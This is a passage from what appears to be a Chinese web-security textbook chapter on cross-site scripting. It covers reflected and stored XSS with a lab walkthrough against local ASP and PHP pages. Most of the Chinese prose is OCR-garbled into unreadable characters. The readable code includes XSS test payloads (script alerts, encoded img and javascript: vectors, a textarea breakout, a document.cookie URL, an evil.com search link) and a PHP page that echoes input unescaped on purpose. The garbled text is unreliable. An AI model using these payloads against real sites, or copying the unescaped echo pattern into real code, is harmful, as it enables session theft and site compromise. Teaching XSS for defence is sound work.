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M PEiERHK . T HTML {RE2H1%5 /i JavaScript BIAS 10 52 5 # 4L L (130 % 384T B AT,
SR TR T Web & KIEH, (EXADILR L, BRI a] LU S R 5 & &
FEf Bt

fEx T, AT REEN XSS 5.

B, BTSSR U A (K B A SRR OC SR, U R B 191F B SR B TG AR
B, WA A EER . KT AR XSS BEUIA, Eaa MR kA Al s,
VA EA AR fL ERRR - KT —— R

6T XSS MEGEIEIRZ S, BRATSER -ARNM XSS WiliZH#zRAE, 3 B8 An
XSS Hiti i A %1 #&——XSS Cheat sheet.

i, BANS R4 XSS Expliot (M H 1S, AL W) iz F & Fh F Brge il IR 45 v #2157 0 B
SERA B, % XSS AREEAT AT Mg h% Ab B LA K % XSS Shellcode 4T 77 il 1 FH

T e A 4R -

BtidF Web R IFESIAE, XSS EF b A L RE O 2728 slidse AT FUE W ™ H 1K) Web 2861,
HHIZAFE T %K Web RG22 .

PR LA ST B AR R AR R A R Rk, AT AL T AR OC R AR SCRE R O R ER . L A7 ik
BRI, R ANICLTFE KT XSS, AR TS FZ M Hisk, X2 HE T XSS
[IHECIE S i

{EIE R XSS 1, BANABRAREE 8% L——JavaScript. JavaScript ¥ T35 E R
BA R L1, F 00 A% S A 43¢ %) P9 URIIR 95w I S 2 1), 11 1995 RS LASK 28 B Web JT
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®1E XSS ¥R

Rrh— A ER S B4 FnLE Ajax S HOR M) H##EAT, JavaScript B RET M UL TR Bt
ke T EPRDH S, XS AR 78 T 4 KIS & 20U .

1.1.1 fH42 XSS BitiA

U5 BIA (Cross-Site Scripting, XSS) J&—F& % HILZE Web MR FF T BV L2k,
JEH T Web W FH R F P 04 A\ e 8 A A2 1T 75 26 1) o T80y 285 0 D sty s 1) 12 20 5 A B A A RS Gl
M FE HTML 1A A1 F 3 Javascript JIAS) {EA BT 1, 304 A P ) X Le g T, iy
AT I R R ARHS, NSZ A S A HESREL Cookie PERMOTHL . & iEHI¥F. oM % &R Bdi.

PR — R M L A— 2B FE A E (Cascading Style Sheets, CSS) MI4E—F#, H TPk
R, #ECIRAR CSS fFRh XSS.

HEHEHL R, BRATTEE AT AR R A B AR i —Fh Web Z4zdail, B e] LB R — AP EGE TR

XSS P AT A 5 5 Web HR45 4580 HESA®, TREBIMSE TR, AEMurCR P52
Fl¥Gk. B E ORI WS B s bR ) S EE RO MR OHIER %R URL, %4%%
#1E Web FYLAEPHT % URL BIRHEE, EEMA A2 38 (v RO EASHIT, Bl miAE 1-1 Frr.

XSS L

RAXSS I L=
N P —
=i i <~ =
il = 4

=scripl>
aler"X 55}

ki & </scrpt> WSS
XSSi;
a® 1-1 XSS T

TFif K Web W FHFEF 44T H (Open Web Application Security Project, OWASP) it i
F144 11 Web %48 5¥IEZ AW RAL, ZAZ5 H7E 2007 1 2010 F4gitad K Web %4
i, ik 1-2 fios.

) ASH lop 1 D) Fre D () ASH lop [} D10

A2 = Injection Flaws Al = Injacon

Al = Cross Site Scripting [X55] A2 = Cross-Site Seripting (XS5}

A7 - Braken Authentication and Session Managemant A3 — Brokan Auth and Sesslon M

M -Inmuuolrulﬂhllﬂ hllrum o I Ad = Insecure Dlru‘i Olh)ut H.lll’lﬂtl;

A% = Croes Site Request Forgery (CSRF) AS = Croas-Site Request Forgery (CSRF)

s TIO 2004 ALD = Insscure Configuration i = A = Security {WEW) o

A% - Insscurs Cryptographic Storage AT - Insecurs Cryptographic Starsge
-;l-;n-hllunle Restrict URL Access AB - Failure to Restrict URL Access
M:Imuuu-tw;n:nlntlm A9 = Insufficient Transport Layer Protection

<nat in T10 2007> 0 A0 =L '] wnd ds (NEW)

A3 — Malizious Fils Exseution «dropped fram T10 20105

A6 - Information Leakage and Improper Error Handling <dropped from T10 2010+

af 1-2 OWASP +RZERRLEIT
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11 mEmEne

ME 12 hIRATFES], 7F 2007 4 OWASP St (KT LM, XSS Buh A& E g —
7o

B 2 A, XSS SR S 9 3 956 30 o 38 75 5 B PR — o, 398 15070 A 40 45 RS9 3ty o A7 7E R 3G VIR
{055 Google. [ THAE 7Y o iy AT S Bk, Bl P& 1-3 FfE 1-4 o

/™ Contact Us - Google Help

* ¥ ) www.google.com s

& The page at W GOOGHE LT Sy m

W » [ |
Go 8!&. _ubma] 732123731 2926106641 L stmesrs (drectjutmecns |
:Ir!t!]llilmcmd inonel;
| _utma=173272373.1093345406. 1202619654 1 25060406 1252 |
| saosss.s: {
| PREF=ID=6204e3224762323d im ee504b63b1BeadT iFF =TI |
|

Google Help

| =128NS33L M1 2282 260, 5 al FrBSNdhpVTei3_

aE 1-3 Google fY XSS iR

2 A360, mall. gq. com/cgi-bin frane

H Rele): e

mail qgg.com

et # o= 32200, B wivans

AE 1-4 00 dpFE XSS iR

At XSS 85w 2 a0 b A s E AT 2 X2 N E R .

(1) Web 31 BI85 4< 5 (B it AR 4. 7 uﬁﬂ"? r fi# BT A AT JavaScript S IIASIE 5 (6
77, IXEE F AT AR G SRk N BTh e, MR L AAT, ARA R AR AR R
BE.

(2) WA S5 Web NAHBRFEREAMNZH, EXFR2 b ERMEF 22y, Web FF
1R7E 52 B XSS il .

(3) BRAER S RE PP KR 4 Rl BN S 1E 5 K, B R 22 MK B2 AR5, RO0E AT
REIERf AR, DR, A HH SR AR 7 it aff S -7 1) KL

(4) NERFRANRER TN, HEMEAETIERRS XSS RFEAMEY, PHOXERN
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#1%E XSSHE

T 52 3 20 . B2 BT L 1L 4 TR, sl AR LA 0 8163 E B E
AR AR .

(5) fub A @k BA Y i AR M %, B HTML SRS h i ABAR ], i BT e 283y
FITFBARZ, HWAH CSS. Flash 5. XSS SRR H Wt RiE B4, BHMB5CEPhEZE 44
9 PR A 1 4

(6) Bfid7 Web 2.0 (AT, M EAZ B IhfEMSk R . Web 2.0 SElihfi Loy = 538 H, XFE
P TEZMILS EEENESMANGR, HaEdigiz. Blog Stk Me, TRERE
AT TR AR B XSS Bt

1.1.2 XSS B b A SLH
G SR AS B 15 B A SRR R R PR, 3 R i A CAS .

<html>
<head>test</head>
<body>
<script>alert ("XSS")</script>
</body>
|  </html>

&S BRI R0 HTML fR85, 36 3% JavaScript V605, % AIHAEH 1 B 19 alert)
FHORATIF N EHE, B BoR XSS (5 8. LA BRI R47 4 HTM 8 HTML 324, R)e
AT IF, B mERIWE 1-5 R R.

JavaScript WIHHLAT A R A2 — Ji - #E JavaScript I A #] Web
G, PR A A soript dRid, starety [ 1\ S
JNAL ) JavaScript £CHS )

HTML (f] script JG #E AR i 84975 JavaScript, X {# i bids
RH: BRI bRl AR AR D A AR AT HTML a[1-5 NI HIHSE
% XHTML, MiX—fiJFeE, 0 TFAFERERSCHEBES S AW B S — A5 | 4
H,

XSS Bl 45 AF L ) JavaScript. VBscript 55 B A< A %0 F P 30 S0 4 50 _E AT, i Web il
ARG AL AN, & R ATTRBEFINAT JavaScript HWAIE T, MASHIWCHIEA L 2
DS DL AR I

WA XSS g H R HE, RS0

| <script>alert("XSs");</script>

XSS A AT fE L HTML fCRSBE, a4l (o o AN kgl 7, ACRS 0 -

<meta http-equiv="refresh" content="0;">

156 AN LA ol 3l (R B4, ARES 4 -

<iframe srec=http://www.test.com width=0 height=0></iframe>

BAE, HUEUE QKM TR TS A A RS, 2 Rk, BAILL-AME K PHP M T

Hicrosoft Internet Explorer El
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S, kBB XSS Wk sEE . PHP M 5 /E R iEH P& 7 9F B BoRfE T L.
PO P S B HTML SRR F -

<html>
<head>
<title> XSS MRk </title>
</head>
<body> .
<form action="X55.php" method="POST">
EWAEF. <br>
<input type="text" name="name" value=""></input>

<input type="submit"™ value="i2%"></input>
</body>

</html>

20 ST AR AT TP A M G IR, 2 B 1-6 FrasfRok.

2 155
IHE WE@©

¥indows Internet Explorer

HFEY Wl IARD #ho
QFL- Q- x] 2 e
U0 #]htp://127 0.0 1/ test htal

BERNEF

L

s i i

AE1-6 XSS MiXTIE
Ja & PHP (AL FRACHS 4N :

<html>
<head>
<title> MXER </title>
</head>
<body>
<?php
echo 5 REQUEST [name];
o d
</body>
</html>

EAEACES {4 H1$_REQUEST[name | ZREUH F* 4 A f) name 28 ht, #R)5 EL# echo #iith . $TFFHIR
UL, BEMERMA 225, B playsec, #RJGHdi [HR2C] %41, SERiR[EE 1-7 Brasm i .

2 Ml

¥indows Internet Explorer

UE WEE FEFW WERew IAD
Q= - ) ¥ 2

i 1)

B0
O BE o wmE

I &) htep://127.0.0. 1/XSS. php

plavsec

JE1-7 THEESANAPA
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$1E XSS#H

M LB arLLE R, e R 1RIRIE A K playsec sEsc BB K T, B4, BElBA
- HTML/JavaScript {05, #7ELAHEFEA -

| <scriptralert(/X88/)</sctipt>

meE 1-8 s, il (3248 #4l)5, 4R 129 s,

aﬁgqat{ — Windows Internet Explorer

THE WEE FFQW R IAD Mo
Qe - Q- 2w , ==
EHLL @] hip://127.0.0. 1/ test hinl

ERMNETF
<scnpt>alenti XS5/ )</ scn !ﬁ

=

Hicrosoft Internet Explorer 'x

_& /153
(.

a[E 1-8 A XSS AL AE1-9 HRATHMIARRD

M 1-9 sl L4345, BT EhA4 RN PHP M 0 S84 7 IR0 MRS, Wit S84
XSS M4 p.

PHP U5 i H|$_REQUEST J7 iR IEAC A it, KAWL GET U A& XSS, Hf
P A D0 W 28 7 4] -

| http://127.0.0.1/XSS.php?name=<script>alert(/XS5/)</script>

SRIG B g —ANHHEHE, i 1-10 Fras.
X E T ok AR AR, AR H P s ok B AR 4, AT LT IR 1-11
fir(¥) HTML 1S3 B .

Qs -

Al
2w e

. mm o owmE L7

] B i

|Qﬁi|-_ SRR R T

ST hep /12T 00 1SS phpTnemesCaeript balert (ESS/ ) Gaevipt?

|
¢

o 2 hetp /12700, 1/ESS phnmme=(acr ipt Palert UISS! ) aaript?

xhp REQ SN0 B SR

<html>
{heady
critle> AR </titler
</ e ad>
Chody?
iscriptralert{ /8557 )</ soript? </body?

C/ntml>

AE 1-10 fbA& XSS AFE1-11 EBETENEH

1.1.3 XSS i®BEnfEE

LATE, XSS vl A — E Mot 20 hae, B A s R Ry, AR L S HE
C, BT ST UL IR BEIUT J* Cookies FERHAIM i 5,
WHAFOL T, Bk F Il A alert('xss').Z ¥ JavaScript {UASKUEH] XSS, i HEE S5
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e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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1.1 %EH#ME

I HIFERE S AT XSS FREMIE 1. AEEAR M RN U, X PP @ sC il XSS Wil fA7erE, H

H8A TS R H a1 .

AR, XSS WTHEA N SQL S, UM AR5 H B BB R R IR, (B ErE
-+ RiE CXEERABEZREERNBEERZ —), REFFGEYE, 4456 bR —
ARIEH, XSS MR IERBAKH. 525D, RINSEHFEXT XSS MR A K.

Bl L&k, BOREE M ABAZIX XSS BIRMIHFT, T XSS MEFFHERZBAG,
fa FF K™ T, FF5IE Web 2.0 HILLUG, IEH T Ajax BRI XSS Brtid ik ! thim, i
Tt LR 3N 5 3 B A IG5 1 (XSS Worm )Samy, - 2005 4 10 H HBRL7E [ 41511 4% M 45+ X MySpace,

IHAE 20 A REER T -EH 2 AP,

A FEZMEER. AAJE, EH-—LELK SNS

MR SE, A, AR g2y B T XSS .
Wb, FERT XSS MEGHRERMFI - GhKEMIN, WESE 21 BeEF. XSS Shell.
attackAPl; [ () Anchta 55, IXUEiF % LEEAR &3 XSS MFERKCLEK!

sy, B AN g A7 A S R A e

XSS il wR AT AR H ks i) S 20 B

iz BT R P T e BfadE . BE - BiSHE)
BERHOTHL. VBIB N R ALl U 855 — Ry Wi

SNBSS RZOENT T ARE] XSS WETEM B, (HIE R RAR R AEAE R AR 5 &

FWVFE XSS WML feeeeer

B 1-12 A1 1-13 Fras 4 i L 3% 2 ki A 5 F 6 B 6 MARC 25T XSS il 3R .

FE%E | WooYun.org

WooYun.org
AT 'webiER - : == _.,_ 5 ,— =-- —

KiimB=FETET

a@1-12 SRXF IS EREMAE

IR, XSS ] RELXET It AL ff K 1K) F o 1) SRS o 1

(1) M, WRERIAEM Ik

(2) GIUH T cookies BERY, MITTARIUH /7 Bahfs B, 2RI S0y k20 % 0 st AT #8e4 «
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H1% XSS MR

(3) BhEFAIS (BIMEA8) 21%, MIPATIERERME, PIadiTIREseik. |mEERAE. Rk

HL - W55

xzs’ thread ~ WARC - Windows Internet Explorer
g RED EXY wKe IAD Fhe
Om-Q |dAG Persiema @ (345 @ -
D @Y hap fmare info/TeZArsabeTrragTt
#lyp ewfrev Hewta Last §
91. [Full-disclosuce] E55 Vulneeabilitv in www. SReEIoh. COR full-dizeloaur
52, review grasted: [Bug GBGA0] RSS Failter Bypass with wabkit-reviews
93. rewiew canceled: [Bug 66530] %55 Falter agrs with webkit-reviews
84, review requested: [Bug 66530] WSS Filter Bypass with webkit-reviews
96. X35 an Redicection wordpress plugin bugtrag
96, raview deniad: ]Bg GEESE] XI55 filter bypass via wobkit-reviews
87. ¥35 an IEM Gpen ddmam Tool bugtrag
98, [Webkat-umassigned] [Bug 61091] ¥55 auditor bypass with webkit—unassig
69, [Webkit-unasszigned] [Bug 67001] New: 55 suditor bypace with webkit-unarsig
100. Croes-Site Seripting (K55} in Wicrosoft ReportViewer Coptrol bugtrag
101. [CVE-ZD11-2712] Apache Wacket K55 wulnerabality bugtrag
102, peview canceled: [Bug 66588] X55 faltes bypass via webkit-reviews
103. rewiew granted: [Bug 66685] XS5 filter bypass wia weblit=reviews
14, peview requested: [Bug 66535] K55 falter bypass webkit-reviews
105, junk/160154; “rserapt:alert (/xss/) ¢/ serapt ) freehsd-tuigs
106, mase/160054: ">dzeoraptialert {/=esf ) Secrupt™ fresbrd-bugs
107.  [Full-disclosure] Open classifieds I.7.% ¥ss Vulnerabality  full-disclosur
108,  [Full-disclosure] [CVE-20011-2712] Apache Wicket %35 wulmersh full-disclosur
108, [Webkit-unaseigne Pug 66588) K55 filter bypass vis non-2t webkit-unassig
110, Webkit—unassigned] [Pug G6588) New: X35 falter bypays via wabkit=unas=1g
111, [Webkat-unassigned] [Pug 66585] HSS Filte:r Bypass with long — weblit-unassig
112 Webkit-unaeeigre Dug 66585) Hew: X55 Filter Bypaszs with  webkit—unassig
113 Vebkit-unasaigned] [fug tiﬁEfﬂU] B55 Filtsr Bypase with long — webkit-unaseig
£ W Internst

w R ™
w3l

~

(5) MTTHD;
(6) AT HEEBRME,

A 1-13 MARC % F XSS RSk S

(4) SERIEIHH 5 DU KA

B A B O S B

(7) BT KEMNE P imAdy, W DDoS Bt

(8) FRHUE /" vinds B, Bl dn F P 30 B

(9) 152 T AL a5 17 J At 199 s e A

(10) g54 A, 1 CSRF ¥, Sk

(1) BIFH PR, afFi - 02E M,
(12D A4 5% ik R0 A gl o 55

------

12 DTS

XSS MRS HAFE R LA, FB PR, R RS S A 55— R

ARSI A .

1.2.1 RG4E XSS

IR ST 55

S IP. FFBcH 1%

S it R gt A (Reflected Cross-site Scripting) tHFREAEFFAR., SHAEB A, X2
R A R d i WL, R AR R R, 3 A TR R A B b ) URL bk 280,

PR YRMES B 7wt NUP/WWW.L/NUAN.COM  #- 2%- ST YA A8 AN ZH B 7 925«
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1.2 XSS fy5

1 41 «

http://www.test.com/search.php?key="><script>alert ("XS5")</script>
http://www.test.com/help.shtml?query=%3Cscript%3Ealert%281%29%3C/scripti3E
http://www.test.com/logout.asp?out=1&surl=javascript:alert (document.cookie)

F S XSS (KA — B ok i 4 Tk CRan R0 FH a7 WR 4k ), A48 P a0 i — A,
ER BN URL, 52583 X 2o 138 (B (R I, %8 JavaScript fAIB & HIEAEZH
HEHL LR ST A AT & MR AU R P e i e 2, T H AT, AERE AL, BTRARR A
Ji2 55 7 it X R A

[ 5/ XSS MmN 1-14 Fias.

GET fsearch.php?key=
"»<script>alert("XS5")</
script>

XSSHEHR T Fy A

Holi 5 http:fiwww test.com/ st ' I % 8%
search.php?key="><script search.php?key=
>alert("XSS")</script> “><script>alert("XS$S")<

Iscript>

AE 1-14  EHHE XSS W hR
MK XSS i HELAE Rk AR R, PSS, H R SR ETELE P Cookies BHEAT
P10 1 .
B 1-15 1 1-16 Fras4y sl s gL 7y i) iz 6 Y XSS 2] (ki e .

ahttp'i’r'app sh. sohu. com/ gujing/more. php?¥ “>{zeriptralert (/uzs/) WFzeript =123

aE1-15 RS 1

S BE XSS HIEHEFE A IR AR XSS, PO RAC % 4E URL S50, 3 B %2Rk
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
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B XSSEHE
P TR R, BIMAE SR TR S E T ZEERAGEEN. kK, REE
XSS Bt A ZE L FF AR XSS mf £ .

BERTE - Kemilla Biceton o

6 = O X o X[ B ©Q rrpfankuilsi.com/fisearch folpid=120038wd= «scriptealert2fK 0 - -

L 3N ety

AaE1-16 KHIHINSS 2

B, ATNE I XSS MBS, MR A A i WA B AT 2 R0 A B V), Wi URL
RN, WO A R gD g g, LR R RTR:

>%22%27><img%20src%3d%22javascript:alert (%27X55%27)%22>

>"'><img%20srci3D%26%23x6a; $26%23x61;226%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x7
2;%26%23x69;%26%23x70,%326%23x74;%26%23x3a7alert (¥26quot;XSS%26quot;)>
AK$22%20style%3D%22background:url (javascript:alert ($27XSS%27) ) %22%2005%22

$22%2Balert (%27X55%27) $2B%22

R L, R0 i 0 A B IS 25 ORI 3 L R sk
SeAh, Bk aT LA BAE R 3] AN ESCAPE S & Fhdmid Bk F, = 42
RN RE S RGN . -

http://www.evil.com/search?q=%3c%73%63%72%69%70%74%3e%6136c365%72%74%28%22%48%69%22%2
9%3b%3ct2f%73%63%72%69%70%74%3e

1.2.2 FHAREXSS

FEAREG A (Persistent Cross-site Scripting) % T {7 R E 5B A (Stored Cross-site
Scripting), oSS RYES U A o Hgl b, JF Bl s ma®] Web RS2 B B L 4.

B2 XSS AT A B didEE URL BEAEPAT S BB A, T & 956453 X JavaScript 055 1
A%z sl A7t B B T AR 95 25 +h o LS ) B 7 MR R JavaSeript ARG T k2 P T S AU .

F§ AR A ) BUh AL 1-17 Bos.

FAR XSS MMM E S, 1Fie. MEHESLOL, BEMARAME DK P iR
1 MR 55 4 (B0 R b, 22 At R ) A o T S D AN SR P b R U R P A A
WG BoR(ETI D, BPFESZHH FHL L0 W8P % S .
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1.2 XSS A%

ALY
<script>
Wik 1 alert(XSS')
s, <fscript=

#
|

i) I

Fli?%
a8 1-17 FHABXSS Wi
P 1-18 R 1-19 Bransr Al AR AT XSS S 1Ak

b | el 3 L TR

1] Ie_j http: /{www. pindac, con/
JWERR gl ANt g BR GIATEADE X SIRINR £ImeR ) SENLE @ T
b 5 T B - g

L

- SIE M2, R |t | odemr |

-
| |
A
AE 1-18 HAFAKSS 1
WooVunorg | SETRERER. U AEETEE - Es =

163 35 5 G 163.com~ | | B | SHEp——

{5 {a2)
PR

FEmi)

AE1-19 HFABIXSS 2
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B1E XSS¥EF

FEAK XSS ATEM i URL #HTARA, FrilemEF LR R XSS K, BEEA[LLF
HEBEME, HS, ffe--

SR AL, A XSS fEasie B AR kO XSS khdL, b g R 4 A
Ajax/JavaScript B A5 5 40 S I08% SR, GEE 76 3k b SE B 00 LT SO AL 4, LR R
Bl RO AR R o 4. XSS i s B s B 3G (0 BT A D P, ek AN B XSS Wi,
[ 4 F (BT P Ef e B B . n AR 40 XSS 9 do o st 4T oy B

KT EHHAE R ELHNE, SEH S T hiFEmHg.

AT WL, XSS BrdifE A Web k& (5 sy, a3 AU Web Mk % A5, Xt Web
IR 45 (4 P th £ i B (R S

FTLh, A BRSO RY XSS AL FF AR XSS, #A & EREMMEHELE! Web IF
RN AN A% 200 S PR 5 b B A0 il DRI D A Al 7 (1 i) 50 4608 ] i 2 4 090 it A F o SR T v AR
R R fEd .

CFT xss e 4 48

TERYTTRI P A, AT KRN 7L XSS PR IA M RIS, AR K ST 251
AT T BN 8Pk, BRATEVRR o] 2 R — L4 H 1K) XSS .
R (7R B fE LU AL, AR TR S B AR XSS IR, WEWBHE 4 TN A

1.3.1 FERENHIREE

fERHE XSS ZAT, BEATAEAMMBE 1 Web IR, FHEN, ATLUEN AspServer.
AspServer J& K4 (IR ASP 45 4%, A8 e nl LUE R IT & Rk ASP B, PR3t
FELEgRm o, X BEATHIR .

FFABIRCE S e, W FR— RN Web FE/F, XHELL “***HFEEMHGRE” L.
FiFF PSR, EHRXARF TR BIMEHR H, R 5H3) AspServer, )5 FI ¥ %2847 77
http://localhost 544 http://127.0.0.1 B o] jj i) i3 &5, P 1-20 Fras.

BRAE, IRATVEETFLfX; “**+ P R AT R BEAT XSS Wil A Fdiial, AT e 2 ia
JUR, X EAEH KB IAR A AR KN ? BT RS o e T S AR S LR A (1 k. B
IR, AR AR, IR R O X AT IR A e
MR MK TP E 20,

1.3.2 A& SEH XSS

PR G, BAEAZ T (BRI D (b7 R S - A s s A, PRk, FRATT AT LA X
A AME . URL ZEUGHATINL. %8, Pk A COOKIE. POST £ #.. HTTP kK Z#E AT
fiessr= 4 XSS.

WG R ARG MU, W LLFE A LA “uN A fThRe, W 1-21 FiR. &
HFHE P H AT SIS XSS<XSS>", RJa i [HR3C) #edl, 484857 B WA 5L ik [B] (1 25
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RTTHH: TR

HZRY AR AR AT S AT A8, 75 N 24 B AT 1) SRR ARSI ST DRI 20 BRI T 3L

ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B B s R AT AU HOR
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

B, Wk 1-22 s

I "XSSI (]

" RS RS>

B Ok 3N W R

T WRE

Ot -

&1 huip 2T 00 1/

.2 Y]

x 2] Ta Mmoo cemR g -2

NGB, AT H B R A DR RIS ks SR R o e T R B A

1.3 XSS MM B %

HEMART PSP ERAGREA TN - Vindows Interne

ey IAD W &

v CYom aim *

73 @ 9BOX msmesansne

SF R0~ 12-23 » TRIEDCTAIRN N 8 F IR WZEW | RTE | &40 | o

ARHEN: - FEFTREEERMY - TR £ TRERESN - SRES - SN, FERTResERNY -

PEEE WA | EAWE mIeEe 28R MSER | Tl

Eiism2c09 |

LIRS F 3 LI ¥ b5 14 3 g
‘T]IFXTHJ\ - SR ®
bk AU = ER M EY
£ iRAR i ot Ras R R R E
L] - MG T & S bt B
iRAR = A
B — TT—
- A T
« ¥R iEl
£ 3
ijh“p JIIZT.0.0. 1/Lise sap?id-80 - ! Internat
AE1-20 eI ERRGE TR
FHRINE : FRAET > BEER
“X5577 T BESE»
Sorry! @A EHEMH XA,
A :  KSSUSS L Bl @ TR @
A 1-21 #A XSS RIS AaE 1-22 MEFE[RLTIM

MBE 122 e ELE S|, RATA M XSS WA FI<XSS>E A B thk, XFEH T, 3
RACHS AT fie O APt 3, thrl R TR EAT Bon ik, Boh#E HTML &, < >FoR
HTML #ricd, A2l e B Bk, SJATE AN US4 R 2. Pril, AR
THENF MO, RIFREXE T XSS, XA 1-23 FramSis B .

A LA B, FRATVH A BI< XSS>Hff Sc ik 5o S S 0E 7 DU, stk o] UE B e ) R A I < >
FRETR. BATA AT LLHBEEAN D E RN <script>Fr2, M= 4E—4 XSS.

TR R, A SERE XSS {Uig<script>alert("XSS")</script>, R J5 Huili ({84 ] $44l,
Wit J L o0 Y A% S e TN XSS XS iEHE, e 1-24 FOR.

13

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com



ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

# 1% XSSV

e (0  FIGET o> WERE

BbE: B searchil] - iDH&
IHE Q) #lo EFW ERhO
Ler> A
<td width="18" align="left" "
class="black14b’ >&nbsp;</td>
<td align="left" class="blackikb'> "xss(@' i =
WE AT eqt;agt;/td>
<td width="35" align="right"><{img
H src="images/indexS_39.gif" width="35" height="29" />{/td>
<rer?
</tableX
<ftd>
L/Er»

AE 1-23 TFH XSS G HTML B

Qfe- 3 [x B e cemx @ £3-5
B0 @)t A1127.0.0. 1/ search aspThayror d=KICscr iptKIal er (XZANITHSSRPNOTEICK FacriptOE v Ewmn wm >
o 1
AWM - EER - SR, SECTREREERY - SR, S3cTRImEhRE

BARAE | MO

7% 8 9BOX masmmimeirit

TR FRET O RERR e

A 1-24 HIA9 XSS WIE
AMOHEE AT RECL A, BE D S AR b SRR R T
i http://127.0.0.1/search.asp?keyword=%3Cscript%3Ealert$28%22X55%22%29%3C%2Fscript%3E

R, FRATT 0T PARIE SE*** 3 ) KA RGEAFAE— 4 RO B XSS,
PATTH ] 8 A B A R 3 S B AR IR J5 R A B S BOR R s i R . $R B4
KBEF A search.asp, KHLATW FALHD:

<%

i

i Set Page = New TurnPage

i keyword=CmdSafeLikeSqlStr(Request.QueryString("keyword")) //HEEERAR
¥ sType = Request.QueryString("sType")

¢ If keyword="" Then

g Call MessageBox ("{HMAEETHMEEE. ", ")

§f End If

| B
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B, WAFAEBAT AR RIF ORI A R P EURIL I AR Z AL, MO &A1, B LRIy DAL EE . IS ERRAIRE, SR A TERR
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
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1.3 XSS HfEREE

LRI, keyword ZERREMA M A H AR, RIGFFMHH Request.querystring() F #: 3K HL
%A, B R85t CmdSafeLikeSqlStr()ef 31 1) b #E . CmdSafeLikeSqlSt()7E AppCode/fun/function.asp
hAE S REZSCARTEL T e RIER

Function CmdSafelLikeSqlStr (Str)
Str = Replace(Str,"'",""'")
Str Replace (Str,"[","[[1")
Str Replace (Str, "%","[%]")
Str = Replace(Str,"_","[_]1")

CmdSafelikeSglStr = Str
End Function

Ll AR e RIE AR P S0 [ % 2R FHRE () [%] [ ]. B8, XEZE
X< >R ELIE, I P EREAN HTML #Rid k5] % XSS.

1.3.3 EHFARH XSS

L S AT IR AR ARG, BAI SRR T A T M, ERERM XSS T, Mt
R BREAGIRMEF, g aFRXHR T M KEIREAR, fEAXARGRIEM XSS 1)
ME.

BT RARAE K < Frm A RE” BEEAETMPE R WRZREH AR, &
A — “BEAH” FIThiE, THiHuhER http://127.0.0.1/guest.asp. 76X 5L ol LUYEEHIA B
5, WRAEFEATHELEXSHEER, RS —MNMEAR SRR XSS #ifH.

e 1-25 iR, E8 S 08 S A A A A

| <script>alert(/X8S/)</script>

[ |

ENEE : FET > G5
AEwnE>
BE  test CulAiE i e e

<zcript>alert (/X55/) </script}|

B3
o

(B2 (EF]
AE1-25 FEHRFAFLB|A XSS EG
oy [$84C) #Hl)a, KM TUMBEAEMER. EAEEZ, FAH RZMEE R
JEEEEBKHEA S ERTK, o REHBEmit. FroAERE XSS s)E, BATILLE R 5
S EREEHEEYS, FEERNGIMNEN.

| http://127.0.0.1/admin/ad login.asp
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® 1% XSS WK

FTHFZ I, MBI 5 K5 A& admin, W1H 1-26 B, MRIEEXR.

[ EMATF - Windows Internet Explorer (=)
e @EE HEY SR TAO BB F3
OQft- L X @ e remx @ (2-5
() ] haap /7127.0.0. 1/ sdmindad_Login esp v Ewn w5 *
[reimem. ®BH... &
;/ : -T‘\_‘
(i musesrasn
| EEEKS  wein (TR
| EERTRE  eesee WEEE |
BERIR 60 D549
-
] T T Internet

AEB1-26 BFEES

mIEFEGE, vl “BSAFEERE” B “SHH S B SN mErRASTNE
1-27 Bz .

BHEEENESE

Vindows Internet Explorer

TieE WE@ FEFW $wWw IAD #Ho

Qe - oy (=] & & wE o CERR LD -
! & http /127 0.0 1/ wdmin/ad_index hinl e i&il s =
| I ] = p— o '
HiE At e g |
¢ CHEW i
» 2T - i
Y e ficd L e |
L ERAE i |
e — EMERL O L
L PR L] g test ] l<seraptralert (/ASS/) </script> —a“ I
i 0 [ i3 B s |
¢ - HAGR W H
| v IR 01CQ: EA
» ETPINE BHiEl, 2001-12-23 1d:1d:34 = |
» B — Wit (EEARRE) 4|
@ ¥ el I Eﬁ-: BEERAN = asasasaa Z 1
| masreE® O T, ' &
| 010G []
| P 2009-6-13 9:45:14 e 0|
B RS |
S e -

| B @ Interner
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13 XSS HMBERE
M LB RTBLA , RATHA M XSS W AIRATURIBAT, BT B0 8 B B R ok 1L

AP, AT AR XX XSS ARIDRET TE X, BEE N HT I s, Wik 1-28

P Guest List[1] - o3&

@ ®EQ HAQ FFY S

IP, 127.0.0.1</textarea><{/td> ~

<td align="center"
bgcolor="#FFFFFF">{textarea name="Content" cols=""35" rows="5"
id="Content"><script>alert(/fEE/ )</script></textarea></td>

<td align=""center"
bgcolor="8#FFFFFF">{textarea name="ask™ cols="25" rows="5"
id="ask">»<{/textarea><{/td>

<{td align="‘center"

Ilgl:n1|lr="lfFFFFF">(input name=""1sPass™ type=""checkbox"
aE1-28 BETAMEXH

g —8HrE K, WA XSS ARA AR HILE, H o2 2| Mt AES,
Z BT LA AT AT ARG, A XSS AR HK A Bl <textarea>PR3E 2 1, R B0 V4% B BR th K.
B, fEfIiE XSS ARASE, 752 & <textarea>br%, EF N XSS {LH5:

| </textarea><script>alert(/XS5/)</script><textarea>

